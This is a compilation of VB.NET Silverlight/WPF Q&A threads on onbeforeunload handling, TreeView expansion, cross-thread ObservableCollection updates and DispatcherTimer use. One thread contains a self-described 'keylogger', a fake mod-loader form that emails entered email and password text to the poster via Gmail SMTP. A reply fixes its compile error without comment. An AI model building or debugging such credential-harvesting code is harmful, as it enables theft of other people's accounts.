Can you cancel a page from closing - silverlight

Is there any way to cancel a page from closing depending on some condition in my Silverlight app? The purpose: While working in this app there is a part I want to stay open until they end a certain task then the browser can react as normal. I just don't want any accidental closing to happen. If this is not possible that is fine and I will work around it. The app is hosted in an ASPX page.
After some work here is the wrapper(VB>NET);
Public Class SWC
''' <summary>Event arguments for handling the window close event.</summary>
Public Class HtmlWindowCloseEventArgs : Inherits CancelEventArgs
''' <summary>Gets or sets the message to display to the user asking them if they want to continue the window close.</summary>
Public Property DialogMessage() As String
Get
Return _dialogMessage
End Get
Set(value As String)
_dialogMessage = value
End Set
End Property
Private _dialogMessage As String
End Class
''' <summary>Monitors the closing of the HTML window.</summary>
Public Class HtmlWindowCloseMonitor
#Region "Events"
''' <summary>Fires when immediately before the window closes.</summary>
Public Shared Event WindowClosing As EventHandler(Of HtmlWindowCloseEventArgs)
Private Shared Sub OnWindowClosing(sender As Object, e As HtmlWindowCloseEventArgs)
RaiseEvent WindowClosing(sender, e)
End Sub
#End Region
#Region "Head"
Private Const ScriptableObjectName As String = "HtmlWindowCloseMonitor"
Private Const DefaultDialogMessage As String = "Are you sure you want to close the application?"
Private Shared ReadOnly instance As HtmlWindowCloseMonitor
''' <summary>Constructor.</summary>
Shared Sub New()
If instance Is Nothing Then
instance = New HtmlWindowCloseMonitor()
End If
End Sub
Private Sub New()
' Register the scriptable callback member.
HtmlPage.RegisterScriptableObject(ScriptableObjectName, Me)
' Retrieve the name of the plugin.
Dim pluginName = HtmlPage.Plugin.Id
If pluginName Is Nothing Then
Throw New Exception("Cannot register the 'onbeforeunload' event because the Silverlight <object> does not have an ID. Add an ID attribute to the Silverlight <object> host tag.")
End If
' Wire up event.
Dim eventFunction = String.Format("window.onbeforeunload = function () {{" & Environment.NewLine &
"var slApp = document.getElementById('{0}');" & Environment.NewLine &
"var result = slApp.Content.{1}.OnBeforeUnload();" & Environment.NewLine &
"if(result != null && result.length > 0)" & Environment.NewLine &
"return result;" & Environment.NewLine & "}}", pluginName, ScriptableObjectName)
HtmlPage.Window.Eval(eventFunction)
End Sub
#End Region
#Region "Methods"
<ScriptableMember()> _
Public Function OnBeforeUnload() As String
' Check with event-listeners to see if any of them want to cancel the window-close operation.
Dim args = New HtmlWindowCloseEventArgs()
OnWindowClosing(Me, args)
If Not args.Cancel Then
' No one wanted to stop the window from closing.
Return Nothing
End If
' Present the 'Are you sure' dialog to the use (via the browser).
Dim message = If(args.DialogMessage IsNot Nothing, args.DialogMessage, DefaultDialogMessage)
Return message
End Function
#End Region
End Class
End Class

You can bind on onBeforeUnload / BeforeUnload event to ask the user.

Related

Treeview items don't expand

I'm developing a WPF application for my company, and everything needs to look the same way corresponding to our company's look. Therefore I have to make a custom folder explorer, which will feature a treeview of the current directory.
In order to make it easier, I've made the following class, which is basically a TreeViewItem that stores a DirectoryInfo and automaticely browses subfolders when expanded (not to browse everything at once and make the software faster). Here is my code :
Private Class TreeViewPlus
Inherits TreeViewItem
Public dir As IO.DirectoryInfo
Public Sub New()
End Sub
Public Sub New(dir As DirectoryInfo)
Me.dir = dir
Try
If Not dir.EnumerateDirectories Is Nothing Then 'If there are subdirectories, I add an empty item to enable the expansion
Me.Items.Add(New TreeViewPlus)
End If
Catch ex As Exception
End Try
End Sub
Private Sub TreeViewPlus_Expanded(sender As Object, e As RoutedEventArgs) Handles Me.Expanded
Me.Items.Clear()
Try
For Each folder In dir.EnumerateDirectories()
Dim item As TreeViewPlus = New TreeViewPlus(folder)
item.Name = Text.RegularExpressions.Regex.Replace(folder.FullName, "[^a-zA-Z0-9]", "")
item.Header = folder.Name
Me.Items.Add(item)
Next
Catch ex As Exception
End Try
End Sub
End Class
And here is the code where I initialize the first directories: (TRV_Arbre is the name of my TreeView)
Sub New()
...
For Each Drive As IO.DriveInfo In IO.DriveInfo.GetDrives
Dim item As TreeViewPlus = New TreeViewPlus(Drive.RootDirectory)
item.Header = Drive.Name
TRV_Arbre.Items.Add(item)
Next
...
End Sub
The Issue I've got is that the first level of items correctly expand, but not the following ones.
See here : https://youtu.be/E6BJbKal5Sk
I've already debugged my code a little, and it correctly creates the different Items.
Can anyone help me for this ? Thanks in advance.
There is a simple way to solve this problem and that is to Override the OnExpanded Sub on the Base TreeViewItem class instead of implementing your own Expanded method. Then in the end you execute MyBase.OnExpanded(e) method which seems to contain the correct update events to send out to whomever listens. In this case your TreeView.
Protected Overrides Sub OnExpanded(e As RoutedEventArgs)
Me.Items.Clear()
Try
For Each folder In dir.EnumerateDirectories()
Dim item As TreeViewPlus = New TreeViewPlus(folder)
item.Name = Text.RegularExpressions.Regex.Replace(folder.FullName, "[^a-zA-Z0-9]", "")
item.Header = folder.Name
Me.Items.Add(item)
Next
Catch ex As Exception
End Try
MyBase.OnExpanded(e)
End Sub

Reference to a non-shared member requires an object reference TextBox

Hello I have problem that I want make application but there is one problem in my code I am making a keylogger to make fun from my friends i am doing it in Visual Basic WPF app but i am getting error Reference to a non-shared member requires an object reference from TextBox... can someone help me with it ? I need that textbot to send information to my email thx for help
Imports System.Net.Mail
Class MainWindow
Private Sub Button_Click(sender As Object, e As RoutedEventArgs)
NewMethod1()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Email", "Email")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Email")
mail.To.Add("Gmail")
mail.Subject = "Email : " & TextBox.Text
mail.Body = "Password : " & TextBox.Text & ","
smtpServer.Send(mail)
MsgBox("Modi boli úspečne načítane uži zábavu / Mods have been sucsessfully loaded Enjoy playing")
End Sub
Private Shared Sub NewMethod1()
If TextBox.Text = "" Then
MsgBox("Kullanici Adi Yanliş")
NewMethod()
End If
End Sub
Private Shared Sub NewMethod()
If TextBox.Text = "" Then
MsgBox("Şifre Yanliş")
Else
End If
End Sub
End Class
You can't have static (shared) methods reference to something that is an property of a class you are in. Your shared methods (Sub) can't access it. Is there a reason for the functions to be shared? If not, you should remove it and that will solve your problem

DispatcherObject cast woes and Async / ObservableCollection issues in WPF

The code below pulls out a bunch of records from an Access 2010 database; hence rolling my own connector bits. I've succeeded in doing the observablecollection and made it all bind up with nice drag and drop data sources, from my own objects. However, like a daft person, I want to do this Asynchronously. Yet, I've got a small cast monster problem, and I don't know what to feed it! Can anyone advise me - I've tried a lot of reading around, but the concepts are just a little too many at once on a Friday afternoon and I'm struggling to make any real headway.
The line I'm having trouble with is:
Dim dispatcherObject As DispatcherObject = CType (handler.Target, DispatcherObject )
The exception is:
Unable to cast object of type '_Closure$__2[SomeRecord_Viewer.SomeRecord]' to type 'System.Windows.Threading.DispatcherObject'.
I've managed to make a WPF listbox populate via the code below, however only by commenting out a part of the ObservableCollectionEx class. This causes synchronisation problems and a crash after a few hundred records are entered.
Class that builds the threaded list of entities - in this case, an ObservableCollectionEx(Of SomeRecord):
Class SomeRecordSet
Inherits ObservableCollectionEx( Of SomeRecord)
Private Shared Property _SomeRecordList As New ObservableCollectionEx(Of SomeRecord )
Public Shared ReadOnly Property SomeRecordList As ObservableCollectionEx(Of SomeRecord )
Get
If _SomeRecordList.Count = 0 Then BuildSomeRecordListAsync()
Return _SomeRecordList
End Get
End Property
Public Shared ReadOnly Property ReturnSingleSomeRecord(id As Integer) As SomeRecord
Get
Return ( From SomeRecord In _SomeRecordList Where SomeRecord.id = id Select SomeRecord).First()
End Get
End Property
Private Shared Async Sub BuildSomeRecordListAsync()
Await Task.Run( Sub() BuildSomeRecordList())
Return
End Sub
Private Shared Sub BuildSomeRecordList()
Db.newcmd( "Select * from RecordList ")
While Db.read
Dim SomeRecord As New SomeRecord
With SomeRecord
.id = Db.dbint( "ID")
.type = Db.dbin( "type")
End With
_SomeRecordList.Add(SomeRecord)
End While
End Sub`
Partial code for the SomeRecord class:
Class SomeRecord
Implements INotifyPropertyChanged
Public Event PropertyChanged As PropertyChangedEventHandler Implements INotifyPropertyChanged.PropertyChanged
Private Sub NotifyPropertyChanged( ByVal info As String)
RaiseEvent PropertyChanged(Me , New PropertyChangedEventArgs (info))
End Sub
...'lots of simple properties.
End Class
The threaded collection class code - translated from another online source.
'I use PostSharp for try catch stuff.
`
Public Class ObservableCollectionEx (Of T )
Inherits ObservableCollection( Of T)
' Override the event so this class can access it
Public Shadows Event CollectionChanged As System.Collections.Specialized.NotifyCollectionChangedEventHandler
Protected Overrides Sub OnCollectionChanged( ByVal e As System.Collections.Specialized.NotifyCollectionChangedEventArgs )
Using BlockReentrancy()
Dim eventHandler As System.Collections.Specialized.NotifyCollectionChangedEventHandler = Sub () RaiseEvent CollectionChanged(Me , e)
If (eventHandler Is Nothing) Then Return
Dim delegates() As [Delegate] = eventHandler.GetInvocationList
*******If I comment this out I can populate the Listbox via a CollectionView, however it dies with issues to do with the list not staying synchronised :).
'Walk thru invocation list
For Each handler As System.Collections.Specialized.NotifyCollectionChangedEventHandler In delegates
Dim dispatcherObject As DispatcherObject = CType (handler.Target, DispatcherObject)
' If the subscriber is a DispatcherObject and different thread
If (( Not (dispatcherObject) Is Nothing) AndAlso (dispatcherObject.CheckAccess = False )) Then
' Invoke handler in the target dispatcher's thread
dispatcherObject.Dispatcher.Invoke(DispatcherPriority .DataBind, handler, Me, e)
Else
handler( Me, e)
End If
Next
*******End of stuff I comment out to get working partially***
End Using
End Sub
End Class
From what I can see, you have two problems.
You're assigning the local variable eventHandler to an anonymous method, rather than the actual event handler. It should be:
Dim eventHandler As NotifyCollectionChangedEventHandler = CollectionChangedEvent
NB: You need to use CollectionChangedEvent in VB, not CollectionChanged.
You're using CType to cast the target to a DispatcherObject, which won't work if the target isn't a DispatcherObject. Use TryCast instead:
Dim dispatcherObject As DispatcherObject = TryCast(handler.Target, DispatcherObject)
You can also tidy up the test on the next line by using IsNot:
If dispatcherObject IsNot Nothing AndAlso Not dispatcherObject.CheckAccess Then
WARNING - The code below acts differently to the C# version. The key difference seems to be that in VB you can't Override an Event (Why on earth not?) yet in C# you can.
The result is the Handler is Nothing in VB but not in C# :(.
So the syntax builds without error but the VB version doesn't ever do anything.
Redone with the updated answer in VB. Thank you!
Note I cannot make this work with Entity Framework, yet. But I think that a me and EF issue, not the collection.
The code itself is here for anyone interested. My list DOES populate perfectly fine now. However, I would take this answer of mine with a small pinch of salt until I update saying how I've extensively tested perhaps :)
However the omens are good - here is the original C# author's site: Original Site
Public Class ObservableCollectionEx(Of T)
Inherits ObservableCollection(Of T)
'Override the event so this class can access it
Public Shadows Event CollectionChanged As NotifyCollectionChangedEventHandler
Protected Overrides Sub OnCollectionChanged(ByVal e As NotifyCollectionChangedEventArgs)
Using BlockReentrancy()
Dim eventHandler As System.Collections.Specialized.NotifyCollectionChangedEventHandler = CollectionChangedEvent
If eventHandler Is Nothing Then
Return
End If
Dim delegates() As [Delegate] = CollectionChangedEvent.GetInvocationList
'Walk thru invocation list
For Each handler As NotifyCollectionChangedEventHandler In delegates
Dim dispatcherObject As DispatcherObject = TryCast(handler.Target, DispatcherObject)
' If the subscriber is a DispatcherObject and different thread
If dispatcherObject IsNot Nothing AndAlso Not dispatcherObject.CheckAccess Then
' Invoke handler in the target dispatcher's thread
dispatcherObject.Dispatcher.Invoke(DispatcherPriority.DataBind, handler, Me, e)
Else
handler(Me, e)
End If
Next
End Using
End Sub
End Class

ListBox ObservableCollection duplicating

I have a WPF application which has a listbox bound to an ObservableCollection which retrieves it's data from a Database. I am attempting to have the ListBox data refreshed every minute through the use of a DispatcherTimer.
Dim dispatcherTimer As DispatcherTimer = New System.Windows.Threading.DispatcherTimer
AddHandler dispatcherTimer.Tick, AddressOf getRoomMeetingDetails
dispatcherTimer.Interval = New TimeSpan(0, 2, 0)
dispatcherTimer.Start()
Which calls the getRoomMeetingDetails method as follows.
Public Sub getRoomMeetingDetails()
If Not My.Settings.rbConn = Nothing And _
Not gl_rmName = Nothing Then
Dim sqlConn As New SqlConnection(My.Settings.rbConn)
Dim sqlquery As String = "SELECT *" & _
"FROM table " & _
Dim sqlCmd As New SqlCommand(sqlquery, sqlConn)
sqlConn.Open()
Dim dr As SqlDataReader
dr = sqlCmd.ExecuteReader
While dr.Read
roomMeetingList.Add(New meetingDetails() With {.eMeetingId = dr.Item("dId")})
End While
End If
End Sub
I then have my two classes for the Collection as follows (I am very new to ObservableCollections and have tried my best to model my code off the MSDN examples, so if this isn't the best method to use to achieve what I am trying to achieve, or can be done easier, please let me know)
Public Class MeetingList
Inherits ObservableCollection(Of meetingDetails)
Private Shared list As New MeetingList
Public Shared Function getList() As MeetingList
Return list
End Function
Private Sub New()
AddItems()
End Sub
Public Shared Sub reset(ByVal rmName As String)
list.ClearItems()
list.AddItems()
End Sub
Private Sub AddItems()
End Sub
End Class
Public Class meetingDetails
Implements INotifyPropertyChanged
Public Sub New()
End Sub
Public Property eID() As String
Get
Return _eID
End Get
Set(ByVal value As String)
_eID = value
OnPropertyChanged("eID")
End Set
End Property
Private _eID As String
Public Event PropertyChanged As PropertyChangedEventHandler _
Implements INotifyPropertyChanged.PropertyChanged
End Class
What is happening is when the DispatcherTimer is called every minute, the ListBox data is duplicated which I believe is because the getRoomMeetingDetails method is adding all of the SQL results on every tick. How can I refresh the ListBox with only new data or data changes from the table?
I am really struggling to work out where I am going wrong and what needs to be added/removed for this to work.
If there is any details I am missing please let me know.
Matt
Either you clear all the data in the listbox before adding them again or you do a check on the collection. I assume your eID is the primary key? the do something like this:
if ( roomMeetingList.Where ( entry => entry.eID == dbID ).Count () == 0 ) {
// add
}
C# code, but it shows the idea
developerFusion's convert made this VB:
If roomMeetingList.Where(Function(entry) entry.eID = dbID).Count() = 0 Then
' Add
End If

Using dispatchertimer in combination with an asynchroneous call

We have an issue in our Silverlight application which uses WCF and Entity Framework, where we need to trap the event whenever a user shuts down the application by closing the web page or the browser instead of closing the silverlight application. This is in order to verify if any changes have been made, in which case we would ask the user if he wants to save before leaving.
We were able to accomplish the part which consists in trapping the closing of the web page: we wrote some code in the application object that have the web page call a method in the silverlight application object. The problem starts when in this method, we do an asynchroneous call to the Web Service to verify if changes have occured (IsDirty). We are using a DispatcherTimer to check for the return of the asynchroneous call. The problem is that the asynchroneous call never completes (in debug mode, it never ends up stepping into the _BfrServ_Customer_IsDirtyCompleted method), while it used to work fine before we added this new functionality.
You will find belowthe code we are using.
I am new to writing timers in combination with asynchroneous call so I may be doing something wrong but I cannot figure out what. I tried other things also but we without any success..
====================== CODE ==============================================
''# Code in the application object
Public Sub New()
InitializeComponent()
RegisterOnBeforeUnload()
_DispatcherTimer.Interval = New TimeSpan(0, 0, 0, 0, 500)
End Sub
Public Sub RegisterOnBeforeUnload()
''# Register Silverlight object for availability in Javascript.
Const scriptableObjectName As String = "Bridge"
HtmlPage.RegisterScriptableObject(scriptableObjectName, Me)
''# Start listening to Javascript event.
Dim pluginName As String = HtmlPage.Plugin.Id
HtmlPage.Window.Eval(String.Format("window.onbeforeunload = function () {{ var slApp = document.getElementById('{0}'); var result = slApp.Content.{1}.OnBeforeUnload(); if(result.length > 0)return result;}}", pluginName, scriptableObjectName))
End Sub
Public Function OnBeforeUnload() As String
Dim userControls As List(Of UserControl) = New List(Of UserControl)
Dim test As Boolean = True
If CType(Me.RootVisual, StartPage).LayoutRoot.Children.Item(0).GetType().Name = "MainPage" Then
If Not CType(CType(Me.RootVisual, StartPage).LayoutRoot.Children.Item(0), MainPage).FindName("Tab") Is Nothing Then
If CType(CType(Me.RootVisual, StartPage).LayoutRoot.Children.Item(0), MainPage).FindName("Tab").Items.Count >= 1 Then
For Each item As TabItem In CType(CType(Me.RootVisual, StartPage).LayoutRoot.Children.Item(0), MainPage).Tab.Items
If item.Content.GetType().Name = "CustomerDetailUI"
_Item = item
WaitHandle = New AutoResetEvent(False)
DoAsyncCall()
Exit
End If
Next
End If
End If
End If
If _IsDirty = True Then
Return "Do you want to save before leaving."
Else
Return String.Empty
End If
End Function
Private Sub DoAsyncCall()
_Item.Content.CheckForIsDirty(WaitHandle) ''# This code resides in the CustomerDetailUI UserControl - see below for the code
End Sub
Private Sub _DispatcherTimer_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles _DispatcherTimer.Tick
If Not _Item.Content._IsDirtyCompleted = True Then
Exit Sub
End If
_DispatcherTimerRunning = False
_DispatcherTimer.Stop()
ProcessAsyncCallResult()
End Sub
Private Sub ProcessAsyncCallResult()
_IsDirty = _Item.Content._IsDirty
End Sub
''# CustomerDetailUI code
Public Sub CheckForIsDirty(ByVal myAutoResetEvent As AutoResetEvent)
_AutoResetEvent = myAutoResetEvent
_BfrServ.Customer_IsDirtyAsync(_Customer) ''# This method initiates asynchroneous call to the web service - all the details are not shown here
_AutoResetEvent.WaitOne()
End Sub
Private Sub _BfrServ_Customer_IsDirtyCompleted(ByVal sender As Object, ByVal e As BFRService.Customer_IsDirtyCompletedEventArgs) Handles _BfrServ.Customer_IsDirtyCompleted
If _IsDirtyFromRefesh Then
_IsDirtyFromRefesh = False
If e.Result = True Then
Me.Confirm("This customer has been modified. Are you sure you want to refresh your data ? " & vbNewLine & " Your changes will be lost.", "Yes", "No", Message.CheckIsDirtyRefresh)
End If
Busy.IsBusy = False
Else
If e.Result = True Then
_IsDirty = True
Me.Confirm("This customer has been modified. Would you like to save?", "Yes", "No", Message.CheckIsDirty)
Else
Me.Tab.Items.Remove(Me.Tab.SelectedItem)
Busy.IsBusy = False
End If
End If
_IsDirtyCompleted = True
_AutoResetEvent.Set()
End Sub
Your problem is that the DispatchTimer is trying to execute code on the same thread that you are blocking with the Wait. Hence it can't deliver the tick.
I'm not sure I'm clear why you need the timer at all. Why not simply block the UI thread (as in fact you already doing) directly in the call to OnBeforeUnload. Then have the asynchronous callback function set the wait handle after it has assigned the value of _IsDirty.
Follow the Wait with your message boxes.

Resources